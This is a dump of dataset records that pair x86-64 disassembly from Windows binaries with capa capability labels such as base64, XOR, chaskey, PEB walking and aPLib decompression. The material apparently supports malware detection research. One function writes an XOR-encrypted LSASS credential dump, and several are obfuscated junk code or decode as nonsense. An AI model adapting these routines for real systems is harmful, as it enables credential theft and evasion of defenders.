joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14005f080
Capabilities:
Check http status code

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
lea eax, [rdx - 0xc8]
mov rdi, rcx
mov rcx, qword [rcx]
mov esi, r8d
cmp eax, 0x64
jb 0x14005f0b5
lea rdx, str.Couldnt_set_desired_mode
call fcn.140042220
lea eax, [rbx + 0x11]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
cmp edx, 0xc8
je 0x14005f0cc
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200_n
call fcn.1400423a0
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r14
cmp esi, 0x13
jne 0x14005f0e8
mov rcx, rdi
call fcn.14005efc0
jmp 0x14005f220
cmp esi, 0x14
jne 0x14005f202
mov rsi, qword [rdi]
mov rbp, rbx
cmp dword [rsi + 0xb98], 2
jne 0x14005f16a
mov rax, qword [rsi + 0x1e0]
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x14005f16a
mov byte [rsp + 0x28], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call fcn.1400570b0
test eax, eax
jne 0x14005f220
mov rcx, qword [rsp + 0x50]
lea edx, [rax + 0x2f]
call fcn.14007c12e
test rax, rax
je 0x14005f15f
mov rbp, qword [rsp + 0x50]
mov ecx, 1
sub rax, rbp
cmovne rcx, rax
mov byte [rcx + rbp], bl
jmp 0x14005f16a
mov rcx, qword [rsp + 0x50]
call qword [fcn.14007c17c]
mov rdx, qword [rsi + 0xc00]
test rdx, rdx
jne 0x14005f18e
cmp byte [rsi + 0xe9d], bl
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x14008acd8]
test rbp, rbp
mov r9, r8
lea rax, [0x14008ad18]
cmovne r9, rbp
lea rcx, [0x14007f028]
cmovne r8, rax
call fcn.140051670
mov rcx, rbp
mov r14, rax
call qword [fcn.14007c17c]
test r14, r14
jne 0x14005f1cd
lea ebx, [r14 + 0x1b]
jmp 0x14005f222
lea rcx, [rdi + 0x798]
mov r8, r14
lea rdx, [0x14008ad00]
call fcn.140075840
mov rcx, r14
mov esi, eax
call qword [fcn.14007c17c]
test esi, esi
je 0x14005f1f6
mov ebx, esi
jmp 0x14005f222
mov dword [rdi + 0x850], 0x1f
jmp 0x14005f222
cmp esi, 0x15
jne 0x14005f20d
lea r8d, [rsi - 8]
jmp 0x14005f216
cmp esi, 0x16
jne 0x14005f222
lea r8d, [rsi - 8]
mov dl, 1
mov rcx, rdi
call fcn.14005eaf0
mov ebx, eax
mov r14, qword [rsp + 0x60]
mov eax, ebx
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x14007ad10
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [section..data]
mov rdi, rax
test rax, rax
jne 0x14007ad52
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x14007ad99
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + 8]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + 0x10]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x14007adf2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + 8]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + 8]
sub rbp, 1
jne 0x14007adb0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x14007ae33
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14008a9e2]
mov r8d, 1
call qword [rbx + 8]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14008a9e3]
mov r8d, 1
call qword [rbx + 8]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x14007ae00
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x14021ede0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x14021ee0d
xor al, al
jmp 0x14021ef6f
mov rax, qword [0x14023f700]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x14023f708]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x14023f710]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x14023f718]
mov qword [rcx + 0x18], rax
mov rax, qword [0x14023f720]
mov qword [rcx + 0x20], rax
mov rax, qword [0x14023f728]
mov qword [rcx + 0x28], rax
mov rax, qword [0x14023f730]
mov qword [rcx + 0x30], rax
mov rax, qword [0x14023f738]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x14023f740]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x14021ef61
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x14021eeb9
mov r11d, 2
jmp 0x14021eedd
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x14021eed3
mov r11d, 1
jmp 0x14021eedd
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x14021ef85
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x14021ef22
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x14021ef3a
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x14021ef4a
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x14021ef58
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x14021eea0
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x14021ef6a
Function at 0x1400a6343
Capabilities:
Encode data using base64
Encrypt data using chaskey

Disassembly:
lea r10, [r10 + r11 - 0xac]
xor ebx, esi
ror ebx, 1
sub ebx, 0xc3a9382c
rol ebx, 1
mov qword [rsp + r11 - 0xb0], rdx
not ebx
and dx, r11w
sal r9, 0x1f
pop r11
sbb ebx, 0xa93d6882
sal al, 0x26
push rsi
neg ax
sub eax, r9d
js 0x1400c982a
call fcn.1400cb5b4
adc r11b, byte [r10 + r11*2]
lea r10, [r10 + rdx*2 - 0x15f]
not r9b
jmp 0x1400d5236
xor dword [rsp + r11 - 0xb0], ebx
pop rsi
movsxd rbx, ebx
xadd r9b, r11b
movzx ecx, ax
adc rbp, rbx
or dx, dx
js 0x1400d1cb4
jno 0x1400a8767
mov ebx, 0x111e710
movzx r9d, word [rbx + r10 - 0x111e710]
lea rdx, [rbx*2 - 0x7f25645]
lea r10, [rbx + r10 - 0x111e70e]
movsx r8d, bx
xor r9w, si
and r8, rbx
adc r9w, 0x7339
add bl, r8b
xor r9w, 0x6b8a
call fcn.1400d95db
add r9d, ecx
xor r11b, sil
neg r11b
push rcx
or dword [rsp + r9 - 0x940f], 0x5724a13b
sar rcx, 0x42
xor r11b, 0x2f
sub r11b, 0x12
sub dword [rsp + r9 - 0x940c], r9d
not r9
rol r11b, 1
not dx
xor sil, r11b
lea r11, [rsp + r11 + 8]
xadd edx, eax
mov rbx, qword [rax + r11 - 0xff4f]
lea rdi, [rdi + rax*2 - 0x1fea6]
jo 0x1400a2755
setle byte [rsp + rax*2 - 0x1fe99]
mov qword [rdi + rax*4 - 0x3fd3c], rbx
add byte [rsp + rax*2 - 0x1fe9a], r9b
pop rcx
jb fcn.1400c3aa9

Function at 0x1400a6386
Capabilities:
Encode data using base64

Disassembly:
neg ax
xor si, ax
inc rbx
shl rbx, cl
lea rdx, [r11*2 + 0x7a85f9ab]
lea rax, [rsp + rax + 0x40]
mov r8d, dword [rax + r11*8 - 0x90c0]
push rcx
call fcn.1400e0deb
mov r8d, 0xa8804cab
mov eax, 0x92ad9425
movsx ebx, r8b
mov ecx, dword [r10]
jmp 0x1400b5917

Function at 0x1400aa837
Capabilities:
Encrypt data using chaskey

Disassembly:
mov rsi, qword [rsp + r11 - 0x4009]
call fcn.1400b26b1

Function at 0x1400b2e14
Capabilities:
Encrypt data using chaskey

Disassembly:
shl ecx, 0xd7
neg r11d
not bx
sub r11d, 0x84210614
sub dword [rsp + rdx - 0x13b7fffc], edx
adc dword [rsp + rdx - 0x13b7fff7], edx
xor r11d, 0x3c8489a5
sub r8w, 0xfb16
or rbx, rbx
rol r11d, 3
xor dx, word [rsp + r8 - 0x57ba1874]
neg r11d
mov qword [rsp + rdx - 0x13b81a41], rsi
sar r8w, 0x4d
adc rdx, qword [rsp + r8 - 0x57ba0000]
xor dword [rsp + r8 - 0x57b9fff8], r11d
rol ecx, 5
lea rbx, [rdx + r8*8 + 0x1a905cbf]
jae 0x1400d0ff6
mov rax, qword [rdi + 8]
neg r11
or r11w, r11w
mov r8d, 0x1c075696
lea rdi, [rdi + r8*4 - 0x701d5a48]
mov qword [r9 + r8 - 0x1c075696], rax
jg 0x1400c6b36
mov ebx, dword [r10 + r8*4 - 0x701d5a58]
mov r9d, r8d
lea rax, [r8 - 0x1bdcdb59]
sar rax, 0x17
lea r10, [r10 + r8 - 0x1c075692]
movzx edx, r8w
jns 0x1400c95dd
mov word [rdi + r8 - 0x57ba1399], r9w
shr dl, 0x41
mov r11d, dword [r10 + r8 - 0x57ba1395]
mov ebx, eax
mov word [rsp + r8 - 0x57ba138a], cx
sbb bx, 0x3810
xor r11d, esi
mov qword [rsp + rdx*2 - 0x27700000], rbx
jmp 0x1400da78d
bswap r11d
jmp 0x1400a99c2

Function at 0x1400ba70d
Capabilities:
Encrypt data using chaskey

Disassembly:
xor ebx, esi
inc ebx
call fcn.1400a2c7c
Function at 0x1400c12ac
Capabilities:
Encrypt data using chaskey

Disassembly:
mov edx, 0xd8a94900
mov cx, word [rdi]
mov qword [rsp], rdx
sub dl, dh
mov eax, 0x770dd317
mov dx, word [rdi + rax - 0x770dd315]
inc word [rsp + rax - 0x770dd315]
not cx
inc ax
pop rbx
mov r8d, 0xbb208aad
not dx
sub bl, ah
and cx, dx
sar bx, 0xc7
shr ebx, 0xf8
mov word [rdi + rax - 0x770dd316], cx
mov r11d, dword [r10 + rbx*4 - 0x360]
setb bl
xor r11d, esi
lea r11d, [r11 + r8 - 0x26894301]
rol r11d, 1
lea r11d, [r11 + rbx*2 + 0x3b3c2487]
lea r9, [rax*2 - 0x24d23d6b]
sub r8d, ebx
neg r11d
movzx edx, r8w
xadd r8w, bx
push rsi
mov ecx, edx
call fcn.1400a3df0

Function at 0x1400c1f3b
Capabilities:
Encrypt data using chaskey

Disassembly:
lea r10, [r10 + r9 + 6]
xor al, sil
jmp 0x1400e3dc4
movzx eax, r9w
sar r8b, cl
mov ebx, dword [rdi + r11 - 0x3ceb2a38]
mov qword [rsp + r8 - 0xff00], rdx
mov al, byte [r10 + r11*2 - 0x79d65462]
rol r8, 0x6b
jbe 0x1400a7aab
rol al, 1
sar word [rsp + r11*2 - 0x79d65466], 0x4e
and r11, r8
rol r9b, cl
adc al, 0xb7
add r8d, 0xed8fae3e
sbb rcx, rdx
xadd r9b, r11b
rol al, 1
inc al
call fcn.1400c21ba
jmp 0x1400b97aa
Function at 0x1400c4cbb
Capabilities:
Encrypt data using chaskey

Disassembly:
call fcn.1400bd12e
mov qword [rsp], 0x2e126e8e
mov eax, 0xde3cb89e
mov eax, dword [rbx]
pop rcx
lea rdi, [rcx + rdi - 0x2e126e8a]
mov qword [rsp + rcx*2 - 0x5c24dd1c], rcx
shr word [rsp + rcx*2 - 0x5c24dd1c], cl
jns 0x1400c5947
lea r10, [r10 + rax*4 - 0x121262f0]
pop rax
movzx r8d, byte [rsp + rdx + 0xb]
neg dl
xor ecx, esi
lea r11, [r8 - 0x7a7c8056]
sal rax, 0x37
xadd eax, r11d
ror ecx, 1
dec r11w
bswap ecx
sub byte [rsp + r11 - 0xfff9], al
sbb ecx, 0xca03d833
mov dword [rsp + r11 - 0xfffa], ebx
shr rax, 0xdf
setb r8b
ror ecx, 1
mov qword [rsp + rax + 7], rsi
shr rax, 0x9b
jae 0x1400c6f9b
shl edx, 0x9c
xor ebx, esi
rol ecx, cl
movzx eax, dl
pop r8
ror ebx, cl
jmp 0x1400c175f
mov dword [rdi + rcx - 0x2e126e8e], eax
mov edx, dword [rcx + r10 - 0x2e126e8e]
mov ebx, 0x279e6d32
mov eax, ecx
movsx r8d, word [rsp + rbx - 0x279e6d30]
lea r10, [rcx + r10 - 0x2e126e8a]
xor edx, esi
jmp 0x1400d456e
neg byte [rsp + rcx - 0x2e126e8b]
add qword [rsp + rcx*2 - 0x5c24dd1c], rcx
ror edx, 1
not edx
neg ax
rol edx, 3
jmp 0x1400db8d8
call fcn.1400b339e

Function at 0x1400c8b5f
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + rcx - 0x7b3be91a], rsi
xor dword [rsp + rcx - 0x7b3be91a], edx
mov qword [rsp + rcx - 0x7b3be92a], r11
inc word [rsp + r8*2 - 0x54]
jle 0x1400e5413
mov rsi, qword [rsp + r8*4 - 0x98]
mov qword [rsp + rcx - 0x7b3be91a], 0xffffffffa5a56a11
not r8d
movsxd rdx, edx
push r8
add rbp, rdx
lea rcx, [r8 - 0x3dd154a]
mov ecx, dword [rdi + r9 - 0x42841dfe]
neg r9
inc r8w
xadd r8b, r11b
mov eax, dword [rdi + r9 + 0x42841e02]
imul ecx
mov dword [rdi + rbx - 0x7b3be92a], edx
mov dword [r9 + rdi + 0x42841e02], eax
sar word [rsp + r9 + 0x42841e1b], 0x81
sar r8d, 0x4b
mov qword [rsp + rbx - 0x7b3be92a], rbp
ret 0x18

Function at 0x1400d5e79
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + rdx - 0x98], r8
call fcn.1400cdfad

Function at 0x1400d8bd3
Capabilities:
Encrypt data using chaskey

Disassembly:
sar r11w, 0xa7
push rax
and r8w, r11w
sar r11w, 0x21
push r15
movsx ebp, r11b
push rbp
mov qword [rsp], rdi
movsx r9d, r8b
sal r8d, 0xa5
push rdx
ror rbp, 0x4d
inc r11w
mov edi, r8d
lea rdi, [rsp + r8 - 0x315fe3f0]
lea r9, [r8*2 + 0xa9bbe00]
sar r9w, 0x21
js 0x1400a4470
sal rbp, 1
mov qword [rsp], r8
mov r8d, 0xf18a8f16
push r14
sar r8w, 0x67
push r11
push r10
mov r10d, dword [rsp + 0x38]
not r10d
movsx r11d, r8w
rol r10d, 1
xor r10d, 0x6f3d3621
neg r10d
xor r10d, 0xe729f203
bswap r10d
push r11
mov qword [rsp], r9
sal r11b, 0x87
add r10, rbp
inc r11b
jns 0x1400d4487
call fcn.1400c76c2

Function at 0x1400e2355
Capabilities:
Encrypt data using chaskey

Disassembly:
lea r10, [r10 + rbx*2 + 5]
xor r8b, sil
sub rax, rax
lea rcx, [rdx*4 - 0x1bf5b3cc]
rol r8b, 1
xor ebx, 0xca6eaaa
call fcn.1400c77db
movsx r9d, cx
call fcn.1400d10b3
ror dword [rsp + r8*2 + 3], 0xbc
xor r8b, byte [r10 + r8 + 4]
pop r9
jmp 0x1400a61c4
Function at 0x1400e2d71
Capabilities:
Encrypt data using chaskey

Disassembly:
xor dword [rsp + rbx*8 - 0x808], r9d
pop rsi
sub rcx, r11
movsxd r9, r9d
sbb al, r11b
xchg r11w, ax
adc rbp, r9
mov r8w, word [rdi + rdx + 0x155c7cd8]
sub bx, cx
xchg ebx, eax
mov bx, word [rdx + rdi + 0x155c7cda]
jge 0x1400b7fc0
jns 0x1400c63a3
jp 0x1400e232d
pop rax
neg r9d
xchg r8w, ax
dec r8w
dec dx
lea r9d, [r9 + rdx*2 + 0x45cb8c46]
rol r8b, 0xc7
jns 0x1400d7726
mov qword [rsp + rbx - 0x101], rsi
js 0x1400a884f
call fcn.1400c0382
call fcn.1400b7807
add rbp, rdx
sub r8b, 0xc
jmp rbp
or edx, eax
xor r9d, esi
lea r9d, [r9 + rdx*4 - 0x500c7450]
push rdx
shr dl, 0x45
rol r9d, 1
lea r9d, [r9 + rdx*2 - 0x3715b785]
not rbx
sal dword [rsp + rdx - 0x3928ee04], 0x12
neg r9d
xor al, byte [rsp + rdx*2 - 0x7251dc08]
mov qword [rsp + rdx - 0x3928edef], rsi
call fcn.1400da4a5
xor r9d, 0x65a5b296
rol r11d, 0xab
neg r9d
not r9d
dec byte [rsp + rbx*2 - 0x1fe]
jp 0x1400beda8
Function at 0x140002700
Capabilities:
Check if file exists
Encode data using xor
Get file attributes
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov edi, dword [0x140026d68]
mov ebx, edx
mov rsi, qword [0x140026d60]
xor edx, edx
mov rbp, rcx
test edi, edi
je 0x1400027cd
cmp edi, 0x40
jb 0x1400027b6
movsx eax, bl
mov r8d, edi
and r8d, 0xffffffc0
mov r9d, 0x20
movd xmm1, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
movdqu xmm0, xmmword [rdx + rsi]
lea eax, [r9 - 0x10]
pxor xmm0, xmm1
movdqu xmmword [rdx + rsi], xmm0
add edx, 0x40
movdqu xmm0, xmmword [rax + rsi]
pxor xmm0, xmm1
movdqu xmmword [rax + rsi], xmm0
mov eax, r9d
movdqu xmm0, xmmword [rax + rsi]
pxor xmm0, xmm1
movdqu xmmword [rax + rsi], xmm0
lea eax, [r9 + 0x10]
add r9d, 0x40
movdqu xmm0, xmmword [rax + rsi]
pxor xmm0, xmm1
movdqu xmmword [rax + rsi], xmm0
cmp edx, r8d
jb 0x140002763
cmp edx, edi
jae 0x1400027cd
mov eax, edx
mov ecx, edi
add rax, rsi
sub ecx, edx
mov edx, ecx
xor byte [rax], bl
lea rax, [rax + 1]
sub rdx, 1
jne 0x1400027c1
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x14000288c
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov r8d, edi
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000285e
test al, 0x10
jne 0x14000285e
mov rdx, rbp
lea rcx, str.Lsass_dump_created_with_lsass_handle_stolen_from_seclogon__Check_the_path__S_n
call fcn.140001010
mov edx, ebx
lea rcx, str.The_dump_has_been_created_in_an_encrypted_form_with_the_xor_key__d._Remember_to_decrypt_it_with__f_flag_before_parsing_it._n
call fcn.140001010
jmp 0x14000286a
lea rcx, str.Something_went_wrong_:__n
call fcn.140001010
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140002e40
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov rdx, rbp
lea rcx, str.Cannot_create_file__S._Exiting..._n
call fcn.140001010
mov ecx, 1
call fcn.140006cd4
int3
Function at 0x140006cd4
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140006b33
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006b33
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006b33
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006b33
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006b33
cmp dword [rcx + 0x84], 0xe
jbe 0x140006b33
cmp dword [rcx + 0xf8], 0
je 0x140006b33
mov ecx, ebx
call fcn.140006bf0
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400069c0
nop
cmp dword [rbp + 0x20], 0
je 0x140006b81
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140006b8c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140006ac4
Function at 0x140011200
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140011287
mov rsi, rbx
cmp word [rax], bp
je 0x140011246
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140011230
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14001122c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14000e858
mov rdi, rax
test rax, rax
je 0x140011274
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140004ac0
mov rbp, rdi
xor ecx, ecx
call fcn.14000d2f4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0xd8a058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xd8a1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0xd8a089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0xd8a06f
add dl, dl
jne 0xd8a096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0xd8a0f6
xor eax, eax
add dl, dl
jne 0xd8a0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0xd8a1ad
add dl, dl
jne 0xd8a0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd8a0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd8a0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd8a0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0xd8a0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0xd8a07e
mov eax, 1
add dl, dl
jne 0xd8a106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd8a113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0xd8a0fb
sub eax, ebx
mov ebx, 1
jne 0xd8a14c
mov ecx, 1
add dl, dl
jne 0xd8a12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xd8a13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0xd8a123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0xd8a07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xd8a168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xd8a175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0xd8a15d
cmp eax, 0x7d00
jae 0xd8a19b
cmp eax, 0x500
jb 0xd8a196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0xd8a07e
cmp eax, 0x7f
ja 0xd8a19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0xd8a07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0xd8a1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0xd8a07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14001aa66
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
movsxd rax, dword [rcx + 0x3c]
mov rsi, r8
mov r15d, edx
mov rbp, rcx
mov r9d, dword [rax + rcx + 0x88]
add byte [rax], al
add byte [rcx - 0x75], al
pop rsp
or dword [rax], esp

Function at 0x14001b1e6
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov rax, qword gs:[0x60]
mov r8, rdx
mov edi, ecx
mov rbx, qword [rax + 0x18]
add rbx, 0x10
mov rbx, qword [rbx]
xor r10d, r10d
xor r9d, r9d
mov r11, qword [rbx + 0x60]
movzx ecx, word [r11]
test cx, cx
je 0x14001b264
nop word [rax + rax]
mov eax, dword [r8 + 0x12c]
movzx edx, cx
cmp eax, edx
ja 0x14001b251
mov eax, dword [r8 + 0x100]
cmp edx, eax
ja 0x14001b251
mov eax, dword [r8 + 0x12c]
mov edx, 0x61
sub dx, ax
add cx, dx
inc r9
movzx edx, cx
add r10d, edx
movzx ecx, word [r11 + r9*2]
test cx, cx
jne 0x14001b226
cmp edi, r10d
jne 0x14001b206
mov rax, qword [rbx + 0x30]
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret

Function at 0x140034a88
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14003491b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003491b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003491b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003491b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003491b
cmp dword [rcx + 0x84], 0xe
jbe 0x14003491b
cmp dword [rcx + 0xf8], 0
je 0x14003491b
mov ecx, ebx
call fcn.1400349bc
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
